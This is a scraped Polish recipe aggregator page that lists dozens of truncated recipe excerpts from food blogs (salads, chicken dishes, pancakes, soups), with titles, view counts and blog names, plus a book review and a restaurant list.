Jesień w pełni, nadszedł więc czas na rozgrzewające dania z dynią w roli głównej:) Dziś proponuję udka z kurczaka zapieczone w sosie pomidorowym z dynią, papryką i kiełbasą. Idealne danie na obiad dla całej rodziny. Ponadto, jest baaardzo łatwe w przygotowaniu, zapraszam po przepis! Scroll down for recipe in English Kurczak pieczony z dynią i papryką (4 porcje) Składniki

karmelowy
Sałatka z brokułem i tortellini 145

odcieknięcia. Tortellini gotujemy al dente. Odcedzamy i pozostawiamy do wystudzenia. Następnie kroimy ogórka w półplasterki, a rzodkiewki w plasterki. Warzywa wrzucamy do miski, dodajemy brokuła i tortellini. Przygotowujemy sos. Wszystkie składniki łączymy ze sobą i polewamy warzywa. Delikatnie mieszamy. Na koniec dodajemy pokrojone w ćwiartki jajka. Smacznego Artykuł Sałatka z brokułem i tortellini pochodzi z serwisu PatiGotuje

PatiGotuje
Sałatka z makaronu z soczewicy 192

zgodnie z przepisem na opakowaniu. Cebulę kroimy w piórka, pozostałe warzywa w kostkę. W szklance mieszamy oliwę, sok z cytryny, musztardę i przyprawy. Wszystkie składniki wrzucamy do miski, polewamy sosem, dodajemy pokruszony ser feta i mieszamy. Posypujemy ulubionymi ziołami

Kulinarne przygody Gatity
Pieczeń Drobiowa 118

Jestem jedną z tych osób które lubią kombinować i zmieniać sobie smaki na obiad, dziś pieczeń która sprawdzi się na obiad sama czy z sosem, jak i również na zimno. Przepis na formę 28cm x 12cm SKŁADNIKI: 1100g mielonej piersi z kurczaka 2 cebule 2 łyżeczki majeranku 1 łyżeczka mielonej kolendry 1 łyżeczka bazylii 1 łyżeczka papryki słodkiej 1 łyżeczka

Dziś Ja gotuje
Kaczka z żurawiną i kopytkami Świąteczny obiad 222

obkładamy wiórkami masła. W końcu kaczkę wkładamy do piekarnika rozgrzanego do 180st i pieczemy ok 2-2,5h (w zależności od wielkości kaczki), podlewając w trakcie pieczenia kaczkę wytopionym sosem. Kopytka: Najpierw ziemniaki przeciskamy przez praskę, następnie dodajemy do nich jajko, szczyptę soli i mąkę – w końcu wyrabiamy ciasto. Ponieważ ilość mąki zależy od wilgotności ziemniaków – to będziemy potrzebować

Dorota Smakuje
Niedzielny obiad w stylu Happy Detoks 137

zielone liście. Winegret Winegret przygotuj ścierając pozostałą połówkę gruszki na tarce o drobnych oczkach. Gruszkową pulpę zmieszaj z oliwą z oliwek, cytryną, dopraw solą i pieprzem. Polej sałatkę sosem i delikatnie wymieszaj. Mus czekoladowy z awokado Składniki 1/2 miękkiego awokado 1 dojrzały banan 2 czubate łyżeczki kakao Przepis na mus czekoladowy z awokado: Awokado i banana obierz ze skórki, rozdrobnij

Ugotowane pozamiatane
Pasztet z wołowiną 320

Zalać zimną wodą, dodać ziele angielskie oraz liść laurowy. Gotować na małym ogniu ok 2 godzin, aż mięso będzie miękkie. Wywaru, nie wylewamy. Jest świetną podstawą do zupy lub sosu. Przestudzone golonki rozdrabniamy pozbywając się drobnych kostek. Cebulę pokroić w piórka i usmażyć na rozgrzanym oleju. Dodać oczyszczone kawałki wątróbki. Usmażoną odstawić do wystudzenia. Czerstwą bułkę zalać zimnym mlekiem

https:KKuchniaMniam
Jaglane kotlety pieczarkowe pyszny przepis 200

Jaglane kotlety pieczarkowe to znakomity pomysł na wegetariański lunch do pracy, obiad czy ciepła kolację. Wspaniale komponują się z sosami: tatarskim , pesto , ajwarem . Można podać je w towarzystwie sałatki czy surówki. Zapraszam Was do wypróbowania kotletów z kaszy jaglanej – zdrowych, smacznych, fit – dużym atutem kaszy jaglanej są jej właściwości rozgrzewające organizm co bardzo jest cenne jesienią czy zimą. PRZEPIS

Dorota Smakuje
Czwartek: Polędwiczka w glazurze czosnkowej 150

przeszłości rzeczywiście używano jej do konserwowania mięsa, obecnie pasta jest powszechnie stosowaną przyprawą w krajach hiszpańskojęzycznych. Występuje w różnych lokalnych odmianach i wariacjach, może mieć postać pasty, albo sosu, być paląca jak ogień albo łagodna. Np. na Filipinach jest kilkanaście różnych odmian adobo. Przyprawą można traktować wieprzowinę, doskonale czuje się w niej kurczak oraz ryba. Sposoby przyrządzania mięsa też

Niedzielny kucharz
Pulpety z kaszy jaglanej i soczewicy 141

Ciecierzyce gotujemy do miękkości. Ugotowaną kaszę i ciecierzyce miksujemy razem z pomidorami. Doprawiamy solą, pieprzem i obsmażamy na złoty kolor na oliwie     (2 łyżki). Przygotowanie sosu Cukinię ścieramy na tarce o grubych oczkach, solimy i odstawiamy, aby puściła sok. Pora kroimy w pół krążki, czosnek drobno pokroić.  Odsączoną cukinie  podsmażamy z pokrojonym porem

Pomysłowa kuchnia
STRIPSY Z KURCZAKA W PANKO + FILMIK 246

Kawałki kurczaka maczamy w cieście i panierce, układamy na desce do krojenia.  Stripsy smażymy na rozgrzanym, głębokim oleju na złoto. Odkładamy na talerz.  Stripsy podajemy z ulubionym sosem. Są pyszne i mocno chrupiące. Polecam mój przepis.                                          Zapraszam

Kulinarne Fantazje Marioli
DOMOWE NACHOSY Z TORTILLI 1090

przecież każdy z nas ma chwile słabości, kiedy lubi pochrupać sobie nachosy lub chipsy 😉😋 Takie domowe nachosy są pyszną przekąską szczególnie kiedy podamy je z domowym ketchupem,  sosem czosnkowym czy innym dipem.... Super pasuje tutaj także hummus 😍 Także jeśli szykuje Wam się w najbliższym czasie spotkanie ze znajomymi - polecam do pochrupania!  Składniki: 2-3 płaty tortilli słodka papryka

Walijskie Pichcenie
Domowa tortilla. 190

Placki, oczywiście zrobiłam sama. Na blogu jest już przepis, bo robię je od dawna. Trzeba chwilę na to poświęcić, ale warto. Co swoje, to swoje. Przeważnie do tortilli, robię sos czosnkowy, tym razem jest majonez i keczup. Obie wersje są pyszne :) Podaję składniki na 4 tortille. Składniki: Na placki: 7,5 łyżki mąki pszennej szczypta soli 0,5 szklanki gorącej

Agusiowe smakołyki
Środa: Ryż smażony z kurczakiem po chińsku 168

polędwiczki z indyka 200 g ryżu (około szklanka) 150 g mrożonego groszku (około szklanka) 2 jajka 1 łyżka oleju Garść posiekanej kolendry Sezam do posypania (opcjonalnie) Sól lub sos sojowy Przygotowanie: Krok 1 Przepłucz ryż pod zimną wodą, aż woda nie będzie mętna. Przełóż do garnka, zalej 2,5 szklankami wody, przykryj, zagotuj i gotuj na wolnym ogniu 18 minut

Niedzielny kucharz
Kotleciki z tuńczyka z koperkiem 167

rybę, więc chce im urozmaicić, żeby się za szybko nie znudziła. Tym razem kotleciki zrobiłam z koperkiem. Wyszły pyszne, polecam i miłego dzionka życzę :-) Składniki: 2 puszki tuńczyka w sosie własnym pęczek koperku 1 mniejsza cebula 2 ząbki czosnku 2 jajka M+ 1 do panierki 4 łyżki mąki pszennej  sól pieprz  bułka tarta 1. Cebulę obieramy, kroimy

kruche babeczki
Cienka pizza 162

wyrośnięcia na 60-90 minut. Po tym czasie ciasto podzielić na dwie części, rozłożyć palcami na dwóch blaszkach (np. z wyposażenia piekarnika; można też rozwałkować ciasto).  Posmarować sosem pomidorowym, posypać ziołami, ułożyć ulubione dodatki Piec w 200 *C (lub większej) przez 20 min. lub do zarumienienia spodu. Ok. 5 min. przed końcem pieczenia posypałam startym serem. Ciasto ułożyłam

Proste Potrawy
Kurczak z patelni z pieczarkami, balsamiczną cebulą oraz serem 162

lekkiego zrumienienia się pieczarek. Wlewamy ocet balsamiczny, dodajemy około 1 łyżeczkę cukru. Smażymy, mieszając, przez chwilę. Następnie wlewamy bulion z rozrobioną w nim niewielką ilością mąki. Smażymy aż sos nieco zgęstnieje. Doprawiamy do smaku solą oraz pieprzem (ew. ulubionymi ziołami). Na patelnię dodajemy mięso, podgrzewamy 2-3 minuty. Następnie patelnię zdejmujemy z palnika. Posypujemy tartym serem oraz posiekaną natką pietruszki

Smaki Na Talerzu
Masło klarowane 336

zepsuje – i to bez konieczności trzymania go w lodówce. Do czego można używać masła klarowanego ? Ma ono szerokie zastosowanie w kuchni. Można je wykorzystywać do smażenia , gotowania , do robienia sosów , a nawet do pieczenia ciast . Jak powstaje masło klarowane? Masło kroimy na mniejsze kawałki. Wrzucamy je do garnka i stawiamy na małym ogniu. W taki sposób ulega ono stopniowemu roztopieniu

KUCHNIA POLSKA
"Obcy. 8 pasażer Nostromo" Alan Dean Foster 171

mniejsze, ale dreszczyk emocji jest i był. Holownik "Nostromo" w stanie hibernacji wraca na Ziemię. Jest sterowany przez komputer pokładowy o nazwie Matka. Po drodze komputer wykrywa tajemniczy sygnał SOS, który pochodzi z nieznanej planety. Wybudza załogę i ląduje, żeby przyjrzeć się wrakowi i planecie. Niestety jeden z członków załogi zostaje zaatakowany przez obcą formę życia. Postanawia szybko wrócić

kruche babeczki
Sałatka ryżowa z karczochami i pieczarkami 190

wody. Zieloną cebulkę drobno pokroić. Do miski, w której jest ryż i pieczarki dodać pozostałe pokrojone składniki. Majonez wymieszać z kwaśną śmietaną. Sałatkę posolić solą, doprawić pieprzem i zalać sosem majonezowym. Wymieszać dokładnie po czy schłodzić w lodówce. Sałatka ryżowa z karczochami i pieczarkami Smacznego! O czym warto pamiętać robiąc sałatkę z karczochami. Sałatka ryżowa z karczochami i pieczarkami Cała

mecooks
pikantne udka kurczaka w rękawie pieczone... 171

160C piec 10 minut. - najlepsze pieczone z dużą ilością cebuli w rękawie udka kurczaka, tak przygotowane nie są suche i są aromatyczne, wywar z pieczenia można wykorzystać do sosu, zupy lub zamrozić.........SMACZNEGO

W Mojej Kuchni Lubię
Flammkuchen – Alzacka „pizza“ 151

złudzenia przypomina pizzę, to tak naprawdę w sposobie przygotowania i smaku ma z nią niewiele wspólnego. Podpłomyk przygotowywany jest na bazie ciasta chlebowego, zamiast typowego dla pizzy sosu pomidorowego, do przygotowania flammkuchen stosuje się tłustą śmietanę, creme fraiche lub twarożek, a ser i spółka, zastąpione są w klasycznym wydaniu podpłomyka alzackiego cebulą i boczkiem. Flammkuchen, popularny szczególnie we francji

helloforest.pl
Placki ukrainki z mięsem mielonym 182

solą i pieprzem, dodaj 1 żółtko; 4. Rozgrzej tłuszcz na patelni, kładź placki ziemniaczane, na nie nakładaj małe porcje mięsa i przykrywaj masą ziemniaczaną; 5. Podawaj same bądź z sosem, np. pieczarkowym. SMACZNEGO

Prosty przepis na
Rolada serowa 446

połóż pierś z kurczaka i pieczarki. Zwiń w roladę.Owiń roladę w papier i ponownie wstaw do piekarnika na ok. 25 min;   7. Podawaj na zimno, np. z sosem czosnkowym w formie przekąski lub na ciepło. SMACZNEGO

Prosty przepis na
Sałatka z tuńczykiem 156

każdej sytuacji a jej wykonanie zajmuje dosłownie chwilę. Wszyscy są w szoku, że z kilku tak prostych składników można wyczarować takie cuda. Sami spróbujcie. ;) SKŁADNIKI: puszka tuńczyka w sosie własnym puszka kukurydzy puszka groszku 4 jajka 4/5 ogórków kiszonych (mogą też być konserwowe) 4/5 kawałków papryki konserwowej 10 dag sera żółtego majonez sól pieprz WYKONANIE: 1. Tuńczyka, kukurydzę i groszek

Prosty przepis na
Klasyczne placki ziemniaczane 158

może dlatego wówczas specjalnie za nimi nie przepadałam. Gdy słodycz zamieniłam na smak wytrawny od razu zmieniłam do nich podejście. Cukier zastąpiłam solą a obecnie najbardziej smakują mi z sosem czosnkowym :) Jak to bywa przy tego typu plackach, należy uważać podczas smażenia, aby tłuszcz nie był zbyt gorący (bo placki się spalą a w środku będą surowe), ani zbyt zimny

My simple kitchen
Makaron z warzywami i masala – Indyjskie Smaki 167

około pół szklanki wody (adsbygoogle = window.adsbygoogle || []).push({}); Link do filmiku z przepisem na: Makaron z warzywami Przygotowanie: Makaron gotuję według przepisu na opakowaniu, ugotowany odcedzam i dodaję do gotowego sosu z warzyw. Umytą i oczyszczoną z gniazd nasiennych paprykę, kroję na mniejsze kawałki (cienkie paseczki). Z papryczki chili usuwam nasionka, drobno kroję i dodaję do papryki. Oczyszczoną i umytą marchew

Uwaga Babcia Gotuje
Mufiny z masą makową z białego maku 166

kruchych oraz innych wypieków. Dzięki temu, że mąka pszenna jest bogata w gluten, gwarantuje elastyczność i delikatnie wilgotną konsystencję ciast. Według Babci Szymanowskiej świetnie nadaje się również do zagęszczania sosów i zup. 300 g mąki szymanowskiej Polskie Młyny 2 płaskie łyżeczki proszku do pieczenia 1 łyżeczka sody oczyszczonej  ( można dodać 1/2) szczypta soli 160 g cukru  2 łyżki

Moje domowe kucharzenie
Sałatka grecka 186

jest wykonywana. Sałatki można robić na bardzo dużo sposobów, praktycznie codziennie wyciągam kilka warzywnych składników i łącze je w przepyszne danie za pomocą oliwy z oliwek bądź innego szybkiego sosu. Jednak ta sałatka częściej skrada moje serce Uwielbiam sałatkę grecką za to, że jest szybka a przy tym najsmaczniejsza. Sałata daje jej chrupkość, oliwki intensywny smak do tego warzywa pokrojone

To Musisz Wiedzieć
Tymbaliki z karpia 103

połączyłem z żelatyną. Wywar sklarowałem ( można pominąć ), ale nie każdy taki lubi. Do małych miseczek, filiżanek nałożyłem kawałki ryby i warzywa. Zalałem galaretką i odstawiłem do stężenia. Podałem z sosem tatarskim

R'n'G Kitchen
Gdzie zjeść w Sanoku? Moje top 10 174

Widok na piękny ryneczek robi swoje. W środku też jest całkiem fajnie Próbowałam dwóch sałatek (Cesara i z grillowanym kurczakiem), nuggetsów, pizzy oraz sera wyprażanego w panierce sezamowej z sosem (tatarskim?), frytkami i surówką. Do sałatek podane były świeże, ciepłe bułeczki. Wszystkie dania były przepyszne, a ceny całkiem ok (sałatki za 18 zł, ser wyprażany za 27 zł). Ceny

Czarnawisienka
Dim sum - wietnamskie pierożki z wieprzowiną 172

Takie małe pierożki - dim sum to takie kąski na jeden gryz. Jakie małe takie pyszne, mówią o nich i to jest prawda. Pierożki wietnamskie są przepyszne a z sosem słodko - kwaśnym smakują wybornie. Koniecznie polecam do wypróbowania. Wietnamskie pierożki z wieprzowiną. CZYTAJ DALEJ

Moje Małe Czarowanie
Pieczone udka z kaczki z żurawiną i rozmarynem 200

folią aluminiową. Wkładamy do piekarnika nagrzanego do ok. 160 st. C z termoobiegiem i pieczemy ok. 1  godz. i 20 minut. Od czasu do czasu można polać mięso sosem z pieczenia. Po tym czasie zdejmujemy pokrywkę i pieczemy jeszcze ok. 20 minut. Na końcu można na 2 - 3 minuty włączyć opcję grilla, żeby skórka była złota i chrupiąca. Nasze

Korniszonki
Pieczone udka z kaczki z żurawiną i rozmarynem 166

folią aluminiową. Wkładamy do piekarnika nagrzanego do ok. 160 st. C z termoobiegiem i pieczemy ok. 1  godz. i 20 minut. Od czasu do czasu można polać mięso sosem z pieczenia. Po tym czasie zdejmujemy pokrywkę i pieczemy jeszcze ok. 20 minut. Na końcu można na 2 - 3 minuty włączyć opcję grilla, żeby skórka była złota i chrupiąca. Nasze

Gotujemy i jemy
Kurczak z warzywami i ryżem 197

odobiną mąki, u mnie całość wyszła delikatnie zawiesista i nie zagęszczałam. Podawać z ryżem. Można na talerz wyłożyć najpierw ryż a na ryż kurczaka z warzywami i całość polać sosem lub od razu wszystko wymieszać z ryżem

Monia miesza i gotuje
Świętujemy – recenzja nowej książki Wegan Nerd 157

się też dział inspirowany kuchnią PRL z sałatką z ryżem i galaretką owocową. Tym co wyróżnia tą książkę na tle morza innych wege książek kucharskich są przepisy na wegańskie sosy alla pieczeniowe, czyli coś, czego najbardziej mi brakowało w kuchni wege. A na deser będą kluski śląskie ze śliwkami, tapenada z czekoladą i pieczone jabłka w winie. Świętujemy! Roślinne przepisy

Ugotowane pozamiatane
Risotto z nutą azjatycką, grzybami shimeji i wołowiną 215

czym można przygotować i czy będą smakować. Trzeba je spróbować, a kto lubi grzyby nie będzie żałować. Można je na różne sposoby podawać, gotować, czy podsmażać, do zup, sosów dodawać, czy z makaronem, kaszą, ryżem zajadać. Składniki na ok. 3 porcje : 150 g ryżu do risotto, 1 średnia biała cebula, 3 łyżki oleju rzepakowego czosnkowego, 150 g grzybów shimeji brązowych

Moniki Smakołyki
Sałatka śledziowa z burakami 160

smaku Ziemniaki i buraki pokroić w kostkę. Przepłukać i osuszyć śledzie. Pokroić je w kostkę z pozostałymi składnikami. Cebulę pokroić bardzo drobno. Dodać szczypiorek i koperek. Wymieszać. Przygotować sos. Zmiksować wszystkie składniki na zalewę, doprawić wedle uznania. Wlać do sałatki, wymieszać. Schłodzić w lodówce. Podawać posypaną zieloną pietruszką. Smacznego

Z Kuchni Do Kuchni
Bardzo szybka fit sałatka na imprezę 1032

Imprezy to nie tylko sałatki z majonezem i sosami. Na imprezie może zdarzyć się ktoś, kto kocha takie sałatki. To ja między innymi. Sałatka jest pyszna, lekka, chrupiąca i zajadają się nią nawet dzieci. Wykonanie ekspresowe. Efekt pyszny! Zdjęcia nieprofesjonalne, zrobione telefonem, gdyż sałatka powstała na 5 minut przed pojawieniem się gości. Zadzwonił dzwonek do drzwi, szybka akcja telefonem

Z Kuchni Do Kuchni
Pure z batata ze słodko kwaśnym sosem 164

Odcedzamy. Dodajemy łyżkę masła klarowanego i miksujemy. Na patelni wlewamy miód i ocet. Redukujemy kilka minut. Dodajemy orzechy, mieszamy a następnie wykładamy gorące pure na talerz, polewamy sosem, dodajemy tymianek i czerwony pieprz a najlepiej owocem granatu

AZgotuj!
Tarta buraczkowa z jarmużem i wędzonym twarogiem 170

garście jarmużu łyżeczka gałki muszkatołowej łyżka soku z cytryny 150 g piersi z kurczaka olej do smażenia kurczaka 200-300 g wędzonego twarogu słodka śmietanka 18% do zup i sosów 2 jajka sól i pieprz do smaku Przepis 1 Mąkę przesiewamy przez sito, dodajemy zimne masło w kawałkach, jajko i zagniatamy ciasto do momentu, aż będzie zwarte. Można użyć robota

Kuchnia Bazylii
Zupa ramen z kurczakiem 156

małe kawałki 4 jajka ugotowane na miękko 4 łyżeczki uprażonych nasion czarnego sezamu cebula dymka natka kolendry kiełki fasoli opcjonalnie grzyby shitake, dodajemy je do bulionu kiedy go podgrzewamy sos sojowy do smaku olej z chili lub zwykły do podsmażenia kurczaka Zupa ramen z kurczakiem - przepis Bulion z kurczaka lub z kury Mięso wkładam do zimnej wody i gotuję

Kulinaria - potrawy z różnych stron świata
Zapiekanka warzywna 205

wino, grzyby z wodą po namaczaniu. Wymieszaj. Dopraw solą i pieprzem. Na całości rozłóż równomiernie pokruszoną w palcach fetę. Wstaw ponownie do piekarnika na 50 minut. Po tym czasie sos powinien się zredukować. Jeśli jest zbyt rzadki zostaw zapiekankę w piekarniku na kolejne 10-15 minut. Wyjmij z piekarnika i udekoruj szpinakiem. Smacznego! table.macro { font-size: 0.9em; } table.macro

wiecejwarzyw.pl
ZUPA GULASZOWA ORAZ RECENZJA GARNKA PRÓŻNIOWEGO HAPPYCALL VACUUM POT 156

końcu dodać pokrojone w kostkę ogórki konserwowe, przecier pomidorowy, tymianek, majeranek i ewentualnie sól i pieprz. Wszystko wymieszać i jeszcze chwilę gotować. Przypominam Wam także przepis na pulpeciki w sosie pieczarkowo- paprykowym  (przepis tutaj) . Pulpeciki te również przygotowałam w garnku Happycall.  Składniki: * 500 g mięso mielonego wieprzowego * 2-3 łyżki bułki tartej+ do obtoczenia klopsów * 1 jajko * sól

Zrób to smacznie
krokiety ruskie 165

talerzu, na osobnym talerzu nasypujemy bułkę tartą. Na patelni rozgrzewamy tłuszcz. Ruloniku maczamy w jajku a następnie obtaczamy w bułce tartej i smażymy na złoty kolor. Podajemy z ulubionym sosem np. grzybowym, czosnkowym

Domowy Smak Jedzenia
kotlety ziemniaczane z pieczarkami 274

brzegi tworząc kotlety. Każdy panierujemy w rozbełtanym jajku a następnie w bułce tartej i smażymy na rozgrzanym tłuszczu, na rumiano z każdej strony. Podajemy zamiast tradycyjnych ziemniaków np. z sosem mięsnym i surówkami

Domowy Smak Jedzenia
Cukinia Grillowana z kurczakiem 161

kładę odrobinę sera oraz łyżeczkę usmażonego mięsa. Grilluję jeszcze kilka chwil aż ser się roztopi. Przekładamy na talerz. Polewamy odrobiną oleju lnianego . Jemy na ciepło. Możemy podać z ulubionym sosem

Gotowanie Patki
Szakszuka z kaszą jęczmienną i quinoa 120

obiad. Dodaję wtedy do niej sycące dodatki takie jak soczewica, ciecierzyca, czy kasza. Tym razem przygotowałam, ją z mieszanką kaszy jęczmiennej i komosy ryżowej. Jajka w gęstym sosie pomidorowym z dodatkiem tych składników stanowią pyszne, rozgrzewające i pożywne danie, idealne na chłodny jesienny dzień :) 3 porcje: 100 g kaszy jęczmiennej prażonej + quinoa 3 kolory Risana pół cebuli łyżka oleju

Mienta blog
NADZIEWANE BAGIETKI - ZAPIEKANKI 165

półbagietki, a wierzch posypujemy tartą mozzarellą. Wkładamy do piekarnika nagrzanego do 180 stopni na około 15 minut. Przed podaniem posypujemy pozostałą ilością posiekanego szczypiorku. Podajemy na ciepło z ulubionym sosem lub ketchupem. Przepis bierze udział w konkursie

Kuchnia MagdaLeny
NADZIEWANE BAGIETKI - ZAPIEKANKI 165

półbagietki, a wierzch posypujemy tartą mozzarellą. Wkładamy do piekarnika nagrzanego do 180 stopni na około 15 minut. Przed podaniem posypujemy pozostałą ilością posiekanego szczypiorku. Podajemy na ciepło z ulubionym sosem lub ketchupem. Przepis bierze udział w konkursie

Kuchnia MagdaLeny
Ramen - zupa szczęścia i miłości 148

receptury na esencje smakowe jak syczuańska pasta z chili czy mayu - olej z palonym czosnkiem. Miłym zaskoczeniem były dla mnie przepisy na makarony -  ramen, udon i soba oraz sos ponzu. Dotychczas wykorzystywałam do ramenu przyprawy i makarony kupione w sklepach internetowych, niebawem spróbuję przygotować je samodzielnie. Całość uzupełniają przepisy na przekąski czyli "małe dania", pierożki gyoza z rozmaitymi farszami

Kulinaria - potrawy z różnych stron świata
Konfitura z czerwonej cebuli 150

często mieszając. Wlewam ocet balsamiczny i ocet winny z czerwonego wina i gotuję jeszcze przez około 10 minut, aż  nadmiar płynu odparuje, a konfitura nabierze gęstości. Jeśli powstały sos odparuje zbyt szybko, a cebula nie będzie Waszym zdaniem jeszcze odpowiednio miękka, możecie dodać 2 łyżki czerwonego wytrawnego wina lub tłoczonego soku jabłkowego i gotować kolejne 10 minut. Na koniec

Kulinaria - potrawy z różnych stron świata
EKSPRESOWA OGÓRKOWA 185

homogenizowaną śmietaną i podana z koperkiem lub/i szczypiorkiem.  Jeśli nie możecie lub nie chcecie gotować bulionu, podaną w przepisie jego ilość,  zastąpcie wodą wymieszaną z 3 łyżkami sosu sojowego lub użyjcie ekologicznej kostki bulionowej.  Zupkę można gotować przez cały rok, ale o tej porze roku smakuje chyba najlepiej. SKŁADNIKI / 6 porcji 25 g masła 1 łyżka oliwy

cool and minty
Rostbef pieczony w soli 184

karkówkę i była smaczna, więc tym razem padło na wołowinę. Podałam ja z pieczonymi ziemniakami i surówką z czerwonej kapusty ale Wy możecie zrobić inną kombinację i zrobić też sos. Myślę, że taka propozycja zagości na Święta bo mało pracy a efekt smaczny. Rostbef podałam na talerzach Dotty od Ambition a do wyjęcia gorącej blachy użyłam rękawic też od Ambition

Ewa w kuchni
Wtorek: Sałatka z arbuza z chmurkami z koziego sera 149

słoność świetnie pasuje do słodkich składników sałatki. Sałatka jest super prosta, zdrowa i pożywna. Dzięki soczystym składnikom nie trzeba do niej robić dresingu, ponieważ tworzą one naturalny słodko-kwaskowy sos. Jeśli spodobał Ci się ten przepis spróbuj też sałatki z arbuzem, fetą i prosciutto . Składniki: Ćwiartka dojrzałego arbuza ½ dojrzałego melona 2 garście pomidorków koktajlowych ½ szklanki kuskusu 50 g sera koziego

Niedzielny kucharz
Domowy dietetyczny majonez 161

zawiera tylko 107 kcal w 100 g. Są w nim jednak składniki, na które warto zwrócić uwagę, bo działają korzystnie na organizm. Sos majonezowy ma szerokie zastosowanie, możesz go dodawać do większości potraw, takich jak: sałatki, burgery, ryby, dania mięsne oraz do przystawek i dodatków do dań: frytek

Wymiar Zdrowia
Zapiekanka makaronowa z serami 125

prostych składników można wyczarować naprawdę wyjątkowy posiłek.Dziś przedstawiam przepis na szybką i smaczną zapiekankę makaronową z tuńczykiem w delikatnym sosie serowym. Szybka i łatwa wykonaniu, gwarantuje udany obiad nawet w tygodniu. Polecam Składniki: 200 g razowego makaronu świderki  120 g tuńczyka w puszcze  50 g sera pleśniowego

Wymiar Zdrowia
Siekane kotlety drobiowe z papryką i kukurydzą 340

wielkość składników. Im będą drobniej posiekane, tym lepiej się uformują w kotleciki i ładniej będą się prezentować na talerzu. Zobacz też: Kotleciki z kurczaka z pieczarkami Kurczak w sosie serowym Risotto z kurczakiem i pomidorkami Kurczak zapiekany w ryżu z warzywami Przepis na siekane kotlety drobiowe z papryką i kukurydzą Drukuj przepis Porcji: 8-10 Czas gotowania: 30 minut Składniki

Kuchnia Bazylii
Kurczak coq au vin na jesienny obiad 150

Pyszne kawałki kurczaka w aksamitnym sosie winno pomidorowym. Mięso przesycone do głębi aromatami przyprawami i winem. Rozpływa się w ustach. Myślę, że smak tego dania zaspokoi najbardziej wybredne gusta. Podane z bagietką i kieliszkiem czerwonego wina. Oryginalny przepis poleca wziąć całego kurczaka. Ja wolę same udka.  7 pałek z kurczaka 7 udzików z kurczaka 1 łyżka musztardy Dijon olej

AZgotuj!
Pyszna sałatka z gorgonzolą wg Aleex 208

krążki, rozsypać na wierzchu sałatki. 7. Przygotować dressing. Oliwę z oliwek wlać do szklanki. 8. Do oliwy dodać zioła włoskie, sól i pieprz. 9. Dolać nieco oliwy z chili. Sos dokładnie wymieszać. 10. Dressingiem polać sałatkę. 11. Podawać ze świeżym pieczywem. Smacznego

W mojej kuchni
Sałata rzymska z parmezanem, bazylią i suszonymi pomidorami 113

brzydkich zewnętrznych liści, resztę myjemy i kroimy w mniejsze kawałki, wrzucamy do miski. Dodajemy do nich suszone pomidory, liście bazylii, siemię i parmezan starty obieraczką do warzyw. Wszystko zalewamy sosem, mieszamy i od razu jemy

Kardamonovy
Placki z dynią i śliwkami 155

dynię w piekarniku a następnie zmiksować. Najlepiej upiec więcej dyni a pure zapakować w mniejsze pojemniki i zamrozić. Będą potem w zimie przydatne do placków ale też ciast czy sosów. Placki z dynią i śliwkami Składniki: 2/3 szklanku pure dyniowego 2 jajka 3 łyżki cukru 2 łyżki masła 2 łyżki jogurtu ok 300 g mąki 3/2 łyżeczki proszku do pieczenia

Smaczny zeszyt
Naleśnikowe krokiety z mięsem i pieczarkami 164

Chrupiące i smaczne krokiety naleśnikowe świetnie nadają się do podania z gorącym rosołem lub klarownym barszczem, ale i jako samodzielne danie z dodatkami typu ziemniaki, sos i surówka. Tanie i proste w przygotowaniu urozmaicą każdy obiad. Składniki (4 porcje) -4  naleśniki -300 g mielonego mięsa -200 g pieczarek -1/2 cebuli -1 jajko -bułka tarta do panierowania -sól, pieprz

Zielona Kuchnia
Curry z burakiem i dynią 152

Dodać usmażoną wcześniej cebulę, chwilę smażyć po czym z mniejszyć ogień i wlać jogurt rozrobiony z mąką. Delikatnie podgrzewać cały czas mieszając, doprawić solą i sokiem z cytryny. Do sosu curry dodać ugotowane i pokrojone w kostkę buraki i dynię. Delikatnie wymieszać i podgrzewać do czasu aż warzywa będą ciepłe.  Curry z burakiem i dynią podawać z ryżem

Codzienne Gotowanie
Karkówka duszona w całości... 353

czosnku, podlewamy wodą dodajemy tychssamych przypraw których używaliśmy do marynaty, kulki, liście i dusimy do miękkości. Karkówkę można podzielić na plastry (najlepiej na zimno, wtedy jest łatwiej) zagęścić powstały sos mąkąii wodą lub odparować i podawać na obiad, lub na zimno na kanapkę czy jako przystawkę   np. z chrzanem. Smacznego

Pelusiowa Kuchnia
Kotlety rybno - ziemniaczane 173

Fajny pomysł na wykorzystanie ziemniaków np z dnia poprzedniego.Delikatne i mięciutkie w środku,a chrupiące z zewnątrz.Zrobicie je na prawdę szybko i łatwo.U mnie z sosem pomidorowym,ale można je zrobić również z koperkowym,jogurtowym lub śmietanowym-polecam

Swojskie jedzonko
Nuggetsy Achilleski 173

kalafiora dodajemy pokrojoną w paseczki paprykę oraz obraną i pokrojoną w plasterki marchew. 7.   Przyprawiamy pod koniec przyprawą kurkumą i wlewamy śmietanę, 2 minutki gotujemy. 8.   Sos wraz z warzywami, przekładamy obok mięsa. 9.   Danie gotowe. 10.               Smacznego

Kulinarna Chwila
Chrupiące placuszki ziemniaczano-dyniowe 123

dowolnymi, ulubionymi dodatkami. Dzieci uwielbiają je jeść na słodko – posypane cukrem albo posmarowane kremem czekoladowym lub dżemem. Ale rewelacyjnie smakują również na wytrawnie, ja najbardziej lubię polane sosem grzybowym.     Składniki: 300g ziemniaków 300g dyni 1 jajko 1/3 szklanki mąki pszennej szczypta soli olej do smażenia       *** Dynię wydrążamy z pestek, obieramy ze skórki i kroimy

Blog z Apetytem
Schab pieczony z jabłkami 208

nagrzanego do 200’C i pieczemy przez 1,5 godziny . Po tym czasie otwieramy naczynie i pieczemy jeszcze przez 15 minut aby danie się przyrumieniło. Powstały podczas pieczenia sos możemy zmiksować z jabłkami, zagęścić na ciepło niewielką ilością mąki i polać nim mięso *** *** Do tak upieczonego schabu polecam podać pieczone ziemniaczki, które możemy przygotować w piekarniku razem z mięsem

Blog z Apetytem
Orzechowy pasztet z fasoli z gruszkami 203

łyżeczki mielonego siemienia lnianego 2 gałązki rozmarynu / 1 łyżeczka suszonego 1/2 łyżeczki suszonego lubczyku 2 łyżeczki suszonego majeranku 1/4 łyżeczki mielonej gałki muszkatołowej 1 łyżeczka octu jabłkowego 2 łyżki sosu sojowego sól i pieprz do smaku Sposób przyrządzenia: 1. Cebulę i gruszki pokrój w kostkę, czosnek poszatkuj i podsmażaj całość na oleju z liściem laurowym i ziarnami ziela angielskiego

Kuchnia w Słońcu Skąpana
Tagietelle z kurczakiem i szpinakiem w sosie śmietanowym... 196

